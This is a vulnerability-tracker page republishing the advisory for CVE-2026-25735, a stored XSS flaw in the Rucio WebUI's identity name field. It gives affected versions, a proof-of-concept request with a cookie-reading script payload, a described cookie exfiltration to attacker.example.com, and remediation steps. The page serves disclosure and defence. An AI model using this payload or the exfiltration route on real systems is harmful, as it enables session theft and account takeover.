NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · PyPI

CVE-2026-25735: Rucio WebUI has a Stored Cross-site Scripting (XSS) vulnerability its Identity Name

mediumCVSS 3.1 6.1GHSA-8wpv-6x3f-3rm5

Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Published Feb 25, 2026 · Updated Feb 27, 2026

Affected packages

rucio-webui

Ecosystem
PyPI
Affected
< 35.8.3
Fixed in
35.8.3
Check
pip show rucio-webui

rucio-webui

Ecosystem
PyPI
Affected
>= 36.0.0rc1, < 38.5.4
Fixed in
38.5.4
Check
pip show rucio-webui

rucio-webui

Ecosystem
PyPI
Affected
>= 39.0.0rc1, < 39.3.1
Fixed in
39.3.1
Check
pip show rucio-webui

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Identity Name of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

---

Details

The identity name is stored and later rendered without output encoding.

Create Path: Admin > Account Management > _ACCOUNT NAME_ > Add Account Identity

Trigger Path: Admin > Account Management > _ACCOUNT NAME_ (https://127.0.0.1:8443/ui/account?account=pentest)

Request

POST /proxy/accounts/pentest/identities HTTP/1.1
...
{"identity":"<script>alert(document.cookie)</script>","authtype":"SSH","email":"Test"}

Response

HTTP/1.1 201 CREATED
...
Created

Storing XSS payload in account identity name

Triggering XSS payload when viewing account

---

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

  • Session cookies that are accessible to JavaScript (missing HttpOnly flag).
  • API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

---

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

  • Enforcing a strict Content Security Policy (CSP).
  • Setting the HttpOnly flag on session cookies.
  • Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

---

References

Credited to d-woosley.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More PyPI vulnerabilities

All PyPI entries